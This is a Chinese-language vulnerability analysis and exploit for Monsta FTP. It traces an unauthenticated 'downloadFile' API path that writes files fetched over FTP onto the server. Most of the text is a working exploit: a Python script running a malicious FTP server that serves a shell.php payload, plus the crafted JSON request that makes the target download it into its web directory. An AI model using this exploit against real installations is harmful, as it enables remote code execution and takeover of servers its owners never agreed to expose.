官网:https://www.monstaftp.com/

分析

首先看一下入口点 application/api/api.php

根据我们传入的 request参数中 actionName进入 \RequestMarshaller::marshallRequest方法

跳过几个特殊的方法 来到这里

\RequestDispatcher::dispatchRequest 方法,数组中的方法可以直接被调用到,这里是 downloadFile

来到 \RequestDispatcher::downloadFile,这里$this->connectAndAuthenticate();不是web 的鉴权 是 ftp 的

\ConnectionBase::downloadFile ,这里直接用最普通的 ftp

可以看到 \FTPConnection::handleDownloadFile 中 调用了@ftp_get 进行了文件写入

​

启动一个 ftp 的监听放一个php,使目标下载即可

evilftp.py

import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


class EvilFTPHandler(FTPHandler):
    def on_connect(self):
        print(f"[+] FTP client connected: {self.remote_ip}")
    def on_login(self, username):
        print(f"[+] FTP login: {username}")
    def on_file_sent(self, file):
        print(f"[+] File sent: {file}")

def start_evil_ftp(host="0.0.0.0", port=2121):
    ftp_root = "/tmp/evilftp"
    os.makedirs(ftp_root, exist_ok=True)
    print(f"[*] FTP root directory: {ftp_root}")
    filename = "shell.php"
    filepath = os.path.join(ftp_root, filename)
    payload = "<?php phpinfo(); ?>"
    with open(filepath, "w") as f:
        f.write(payload)
    print(f"[+] Payload file created: {filename}")
    username = 'test'
    password = 'test'
    print(f"[+] FTP credentials: {username} / {password}")
    authorizer = DummyAuthorizer()
    authorizer.add_user(username, password, ftp_root, perm="elradfmw")
    handler = EvilFTPHandler
    handler.authorizer = authorizer
    handler.banner = "220 Evil FTP Server Ready"
    server = FTPServer((host, port), handler)
    print(f"[*] Evil FTP listening on {host}:{port}")
    server.serve_forever()


if __name__ == "__main__":
    start_evil_ftp()

最后构造的 request 参数为

request={
    "actionName": "downloadFile",
    "connectionType": "ftp",
    "configuration": {
      "host": "127.0.0.1",
      "port": 2121,
      "username": "test",
      "password": "test"
    },
    "context": {
      "remotePath": "shell.php",
      "localPath": "shell.php"
    }
  }